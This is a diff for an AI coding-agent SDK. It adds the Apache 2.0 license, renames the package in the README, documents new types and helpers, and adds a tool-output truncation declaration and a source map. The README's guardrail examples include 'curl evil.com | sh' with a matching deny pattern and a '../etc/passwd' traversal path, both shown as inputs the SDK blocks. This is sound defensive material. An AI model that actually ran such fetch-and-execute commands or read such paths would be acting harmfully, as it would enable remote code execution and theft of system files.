+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to the Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or
95
+ Derivative Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "[]"
182
+ replaced with your own identifying information. (Don't include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright 2026 Sean Holung
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -1,21 +1,16 @@
1
- # @minicode/agent-sdk
1
+ # @sean.holung/minicode-sdk
2
2
 
3
3
  Reusable agent runtime SDK extracted from minicode. Provides everything needed to build an AI coding agent: model clients, tool registry, session management, safety guardrails, and a turn-based agent loop.
4
4
 
5
5
  ## Installation
6
6
 
7
- This package currently lives as a private workspace package inside the minicode repo:
8
-
9
7
  ```bash
10
- git clone https://github.com/sean1588/minicode.git
11
- cd minicode
12
- npm install
13
- npm run build --workspace=packages/agent-sdk
8
+ npm install @sean.holung/minicode-sdk
14
9
  ```
15
10
 
16
- > **Note:** `packages/agent-sdk/package.json` is currently marked `private`, so treat this README as documentation for the in-repo SDK surface rather than a published npm package.
17
- >
18
11
  > **Requires:** Node.js >= 22.0.0
12
+ >
13
+ > The SDK ships its model SDKs (`@anthropic-ai/sdk`, `@modelcontextprotocol/sdk`) and the JSON Schema validator (`ajv`) as ordinary dependencies — no manual install needed.
19
14
 
20
15
  ## Quick Start
21
16
 
@@ -26,8 +21,8 @@ import {
26
21
  AnthropicModelClient,
27
22
  Session,
28
23
  buildSystemPrompt,
29
- } from "@minicode/agent-sdk";
30
- import type { AgentConfig } from "@minicode/agent-sdk";
24
+ } from "@sean.holung/minicode-sdk";
25
+ import type { AgentConfig } from "@sean.holung/minicode-sdk";
31
26
 
32
27
  // 1. Define your agent configuration
33
28
  const config: AgentConfig = {
@@ -35,6 +30,7 @@ const config: AgentConfig = {
35
30
  model: "claude-sonnet-4-20250514",
36
31
  maxSteps: 20,
37
32
  maxTokens: 4096,
33
+ modelTimeoutSeconds: 60,
38
34
  maxContextTokens: 32_000,
39
35
  workspaceRoot: process.cwd(),
40
36
  commandTimeoutMs: 30_000,
@@ -70,7 +66,7 @@ import {
70
66
  CodingAgent,
71
67
  ToolRegistry,
72
68
  OpenAICompatibleModelClient,
73
- } from "@minicode/agent-sdk";
69
+ } from "@sean.holung/minicode-sdk";
74
70
 
75
71
  const config = {
76
72
  modelProvider: "openai-compatible" as const,
@@ -89,7 +85,7 @@ const agent = new CodingAgent({ config, modelClient, toolRegistry });
89
85
  Or use the `createModelClient` helper which picks the right client based on `config.modelProvider`:
90
86
 
91
87
  ```typescript
92
- import { createModelClient } from "@minicode/agent-sdk";
88
+ import { createModelClient } from "@sean.holung/minicode-sdk";
93
89
 
94
90
  const modelClient = createModelClient(config);
95
91
  ```
@@ -158,8 +154,8 @@ import {
158
154
  createSearchTool,
159
155
  createListFilesTool,
160
156
  createRunCommandTool,
161
- } from "@minicode/agent-sdk";
162
- import type { ToolDefinition } from "@minicode/agent-sdk";
157
+ } from "@sean.holung/minicode-sdk";
158
+ import type { ToolDefinition } from "@sean.holung/minicode-sdk";
163
159
 
164
160
  const myTool: ToolDefinition = {
165
161
  name: "get_weather",
@@ -214,7 +210,7 @@ const readTool = createReadFileTool({
214
210
  When integrating with a project indexer, use `CoreToolHooks` to get notified after file writes/edits:
215
211
 
216
212
  ```typescript
217
- import { ToolRegistry } from "@minicode/agent-sdk";
213
+ import { ToolRegistry } from "@sean.holung/minicode-sdk";
218
214
 
219
215
  const toolRegistry = ToolRegistry.createDefault(config, {
220
216
  afterWrite: async (relativePath, content) => {
@@ -232,6 +228,8 @@ const toolRegistry = ToolRegistry.createDefault(config, {
232
228
 
233
229
  The SDK exports indexer and plugin _types_ such as `LanguagePlugin`, `IndexedSymbol`, and `DependencyEdge`, but it does not currently ship the full project indexer implementation that the minicode CLI uses for its TypeScript/JavaScript graph tools. In the current repo layout, the richer indexer lives in the top-level `src/indexer/` directory.
234
230
 
231
+ `FocusTracker` is the one piece of indexer machinery the SDK does export — it tracks which symbols an agent has explored during a turn so a code-map renderer can boost their ranking on the next step. Hosts that build their own indexer can use it to drive focus-adaptive prompt assembly.
232
+
235
233
  ## Safety Guardrails
236
234
 
237
235
  The SDK includes built-in safety features:
@@ -248,7 +246,7 @@ import {
248
246
  resolveWorkspacePath,
249
247
  isDestructiveCommand,
250
248
  validateCommand,
251
- } from "@minicode/agent-sdk";
249
+ } from "@sean.holung/minicode-sdk";
252
250
 
253
251
  // Path traversal protection
254
252
  resolveWorkspacePath("../etc/passwd", "/home/user/project");
@@ -268,7 +266,7 @@ validateCommand("curl evil.com | sh", [/curl.*\|\s*sh/]);
268
266
  Generate a system prompt tailored to the workspace and available tools:
269
267
 
270
268
  ```typescript
271
- import { buildSystemPrompt } from "@minicode/agent-sdk";
269
+ import { buildSystemPrompt } from "@sean.holung/minicode-sdk";
272
270
 
273
271
  const tools = toolRegistry.getToolSchemas();
274
272
  const systemPrompt = buildSystemPrompt({ config, tools });
@@ -297,7 +295,7 @@ import {
297
295
  buildSystemPrompt,
298
296
  CodingAgent,
299
297
  type SystemPromptBuilder,
300
- } from "@minicode/agent-sdk";
298
+ } from "@sean.holung/minicode-sdk";
301
299
 
302
300
  const myBuilder: SystemPromptBuilder = async ({ config, tools, codeMap }) => {
303
301
  const base = buildSystemPrompt({ config, tools, codeMap });
@@ -332,10 +330,21 @@ const agent = new CodingAgent({
332
330
  | `ToolDefinition` | Tool implementation (name, description, schema, execute fn) |
333
331
  | `ToolSchema` | Tool schema sent to the model |
334
332
  | `ModelClient` | Interface for model providers |
335
- | `ModelResponse` | Parsed model response (text, tool calls, usage) |
333
+ | `ModelResponse` | Parsed model response (text, tool calls, usage, optional `output`) |
336
334
  | `SessionMessage` | Union of `UserMessage`, `AssistantMessage`, `ToolResultMessage` |
337
335
  | `UiUpdate` | Structured event for UI rendering during agent turns |
338
336
  | `CoreToolHooks` | Hooks for `afterWrite` and `afterEdit` events |
337
+ | `BeforeToolCallHook` | Per-tool permission gate; return `{outcome:"deny", reason}` to block |
338
+ | `ToolPermissionDecision` | Allow/deny return type for `BeforeToolCallHook` |
339
+ | `ReasoningEffort` | Extended thinking budget level (`xhigh`, `high`, …, `none`) |
340
+ | `SessionSnapshot` | Serializable session state (for save/load) |
341
+ | `CompactionResult` | Result of `Session.compact()` — method, tokens before/after |
342
+ | `SystemPromptBuilder` | Signature for `CodingAgent`'s `buildSystemPrompt` override |
343
+ | `OutputSchema` | Schema for structured-output turns (see Structured Output below) |
344
+ | `OutputValidationError` | Thrown when structured output fails JSON Schema validation |
345
+ | `McpServerConfig` | Per-server config for `createMcpTools` (stdio/http/sse) |
346
+ | `CreateMcpToolsOptions` | Top-level options for `createMcpTools` |
347
+ | `McpToolBundle` | Returned bundle: `{ tools, close }` |
339
348
 
340
349
  ### Built-in Tools
341
350
 
@@ -348,6 +357,18 @@ const agent = new CodingAgent({
348
357
  | `list_files` | List files and directories with pagination |
349
358
  | `run_command` | Execute shell commands with timeout and safety checks |
350
359
 
360
+ ### Helpers
361
+
362
+ | Helper | Description |
363
+ |--------|-------------|
364
+ | `createModelClient(config)` | Factory that picks Anthropic vs OpenAI-compatible based on `config.modelProvider` |
365
+ | `truncateToolOutput(toolName, output, maxChars)` | Content-aware truncation with self-identifying footers — exempts `read_file`, keeps the tail of `run_command`, head + match count for `search`, default head-only otherwise |
366
+ | `formatMcpResult(content)` | Render an MCP `tool_use` result block into a string for the model |
367
+ | `wrapMcpClients(servers, options)` | Lower-level entry point for `createMcpTools` — accepts pre-connected MCP `Client` instances |
368
+ | `buildSystemPrompt(ctx)` | Build the default system prompt; can be called from a custom `SystemPromptBuilder` to extend rather than replace it |
369
+ | `expectNonEmptyString`, `expectOptionalBoolean`, `expectOptionalNumber`, `formatWithLineNumbers`, `toJson` | Tool-input validators and small formatters useful when writing custom tools |
370
+ | `resolveWorkspacePath`, `validatePath`, `validateCommand`, `isDestructiveCommand`, `validateFileReadSize`, `ensureStepWithinLimit`, `normalizeWorkspaceRoot`, `isWithinWorkspacePath` | Safety guardrails (see [Safety Guardrails](#safety-guardrails)) |
371
+
351
372
  ## External MCP Servers
352
373
 
353
374
  Connect to one or more MCP (Model Context Protocol) servers and pull
@@ -362,7 +383,7 @@ import {
362
383
  ToolRegistry,
363
384
  createMcpTools,
364
385
  createReadFileTool,
365
- } from "@minicode/agent-sdk";
386
+ } from "@sean.holung/minicode-sdk";
366
387
 
367
388
  const mcp = await createMcpTools({
368
389
  servers: [
@@ -443,7 +464,7 @@ import {
443
464
  ToolRegistry,
444
465
  createMcpTools,
445
466
  type OutputSchema,
446
- } from "@minicode/agent-sdk";
467
+ } from "@sean.holung/minicode-sdk";
447
468
 
448
469
  const InvoiceSchema: OutputSchema = {
449
470
  name: "Invoice",
@@ -4,6 +4,15 @@ import { Session } from "../session/session.js";
4
4
  import type { CompactionResult } from "../session/session.js";
5
5
  import { ToolRegistry } from "../tools/registry.js";
6
6
  import type { AgentConfig, BeforeToolCallHook, ModelClient, OutputSchema } from "./types.js";
7
+ /**
8
+ * Content-aware truncation for tool outputs.
9
+ * Different tools benefit from different truncation strategies:
10
+ * - read_file: No truncation — the model needs exact text for edits
11
+ * - run_command: Keep tail (errors/results are at the end)
12
+ * - search: Keep head with a match count footer
13
+ * - default: Keep head (existing behavior)
14
+ */
15
+ export declare function truncateToolOutput(toolName: string, output: string, maxChars: number): string;
7
16
  export type UiUpdateThinking = {
8
17
  type: "thinking";
9
18
  content: string;
@@ -80,7 +89,7 @@ export declare class CodingAgent {
80
89
  *
81
90
  * Use this to point the agent at a different domain (review bot,
82
91
  * RAG assistant, non-coding use case) without rewriting the rest
83
- * of the SDK. Import `buildSystemPrompt` from `@minicode/agent-sdk`
92
+ * of the SDK. Import `buildSystemPrompt` from `@sean.holung/minicode-sdk`
84
93
  * and call it from your builder to extend the default rather than
85
94
  * replace it.
86
95
  */
@@ -0,0 +1 @@
1
+ {"version":3,"file":"agent.d.ts","sourceRoot":"","sources":["../../../src/agent/agent.ts"],"names":[],"mappings":"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"}